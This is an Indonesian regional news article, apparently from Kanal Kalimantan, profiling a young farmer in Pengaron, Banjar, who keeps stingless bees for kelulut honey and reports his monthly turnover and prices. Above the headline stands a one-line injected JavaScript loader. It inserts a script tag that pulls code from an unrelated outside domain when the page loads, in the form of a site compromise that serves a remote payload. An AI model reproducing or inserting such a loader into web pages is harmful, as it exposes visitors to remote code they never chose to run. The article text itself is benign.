(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Anak Muda, Petani Madu Kelulut Asal Pengaron Beromset Rp 12 Juta Perbulan


MARTAPURA, Mandiri bermodal kerja keras tanpa menyerah, masih anak muda, pengusaha madu kelulut asal Kecamatan Pengaron, Kabupaten Banjar ini, sudah mengantongi omset hingga Rp 12 juta perbulan. Buah hasil dan berkat kerja keras yang dirintisnya sejak dua tahun lalu.

Jarang ada anak muda yang mau jadi petani, tapi Saifuddin mematahkan itu semua. Ia mengambil cara membudidayakan madu kelulut. Warga Desa Mangkauk, Kecamatan Pengaron, Kabupaten Banjar ini pun, akhirnya menikmati manisnya madu kelulut usahanya.

Saifuddin, owner alias pemilik produk Madu Kelulut Zahra menjelaskan, lebah tanpa rasa, kadang disebut lebah madu tanpa sting atau kelulut (meliponin) atau truguna adalah kelompok besar lebah yang terdiri dari suku Meliponini. Mereka termasuk dalam keluarga Apidae, dan terkait erat dengan lebah madu biasa, lebah kayu, lebah anggrek, dan lebah.

Dijelaskan anak muda yang baru berusia 23 tahun ini, awal rintisan usahanya dilakukan pada tahun 2016, dengan meletakkan media di sekitar pekarangan rumahnya. Membudidayakan madu kelulut yang digelutinya sampai sekarang berawal dari keinginan membantu ekonomi keluarga, sekaligus biaya melanjutkan studi di Fakultas Kehutanan ULM semester 6. Ia mulai tertarik dan berpikir membudidayakan madu kelulut dengan menggunakan bahan lebah triguna di sekitar lingkungan pedesaan dan hutan dekat rumahnya.

“Serangga liar yang hidup di hutan ternyata bisa dibudidayakan dan bermanfaat serta menjadi pundi-pundi rupiah, menambah pemasukan keuangan keluarga,” ujar anak muda lajang ini.

Singkat cerita, dengan modal seadanya Saifuddin mulai memberanikan diri membudidayakan madu kelulut.

Pertama ia mengumpulkan lebah triguna yang biasanya bersarang di batang-batang pohon dan rumah, lalu dibuatkan sarang menggunakan boks sebagai indukan.

Saifuddin sedikit memaparkan hal-hal yang diperhatikan dalam budidaya madu kelulut, seperti pengambilan bibit dari hutan. Pemindahan bibit dari hutan ke perumahan. Harus adanya penaman bunga-bunga disamping kotak/sarang kelulut tersebut. Perawatan bunga supaya subur, sehingga kelulut tidak kehabisan pasokan makanan sehari-harinya dan madu yang dihasilkan akan banyak. Hingga panen yang dilakuakan setiap satu setengah bulan sekali.

“Saat pertama membudidaya berbagai cara saya lakukan agar lebah triguna menghasilkan
madunya. Sampai diketemukan cara yang jitu, ya begitulah menurut saya,” tuturnya.

Dikatakan Saifuddin, budidaya madu kelulut sebenarnya cukup mudah dilakukan. Dalam setiap panen, dari 200 sarang lebah triguna yang dibudidayakannya dapat menghasilkan 40 puluh liter dalam sebulan.

“Dengan niat dan tekad besar ketika saya dalami ilmunya berternak lebah kelulut, hasilnya Alhamdulillah dari 200 sarang lebah tersebut sudah sampai beromset Rp 12 juta perbulan,” bebernya.

Pun, tak mudah bagi Saifuddin merintis produk kemasan Madu Kelulut Zahra. Ia menceritakan awal produksi madu kelulut dengan brand Zahra tersebut bukan tanpa kendala, seperti susahnya meminjam modal awal dengan syarat yang tidak sedikit, tidak ingin ada keterbatasan. Selama beberapa bulan dengan modal nol rupiah, dirinya rela menjadi perantara bagi petani madu hutan dengan konsumen, untuk mengumpulkan dana awal rintisan usah tersebut.

“Dalam perintisannya memang agak sulit, saya bingung mau minjam modal sana sini tidak bisa, namun karena niat dan tekad saya beranikan diri saja,” ujarnya.

Setelah mendapatkan modal cukup, seiring permintaan yang meningkat dan tidak sebanding dengan produksi panen madu alam di hutan, ia terus berusaha untuk mengembangkan usahanya dan membeli peralatan.

Kini pemasaran, produk madu kelulut Zahra sudah tidak repot lagi, mengingat banyak reseler yang menawarkan diri langsung untuk bhasil produksinya. Bahkan sudah tersebar di seluruh Indonesia, saking terkenalnya produk tersebut sudah sampai diekspor ke luar negeri.

Untuk harga satu botol madu kelulut berisikan 100 ml Saifuddin menatok harga Rp 40.000 , sedangkan 250 ml dengan Rp 100.000 dan 500 ml dengan harga Rp 180.000. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

2 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

3 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

14 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

15 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

17 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

23 jam ago

This website uses cookies.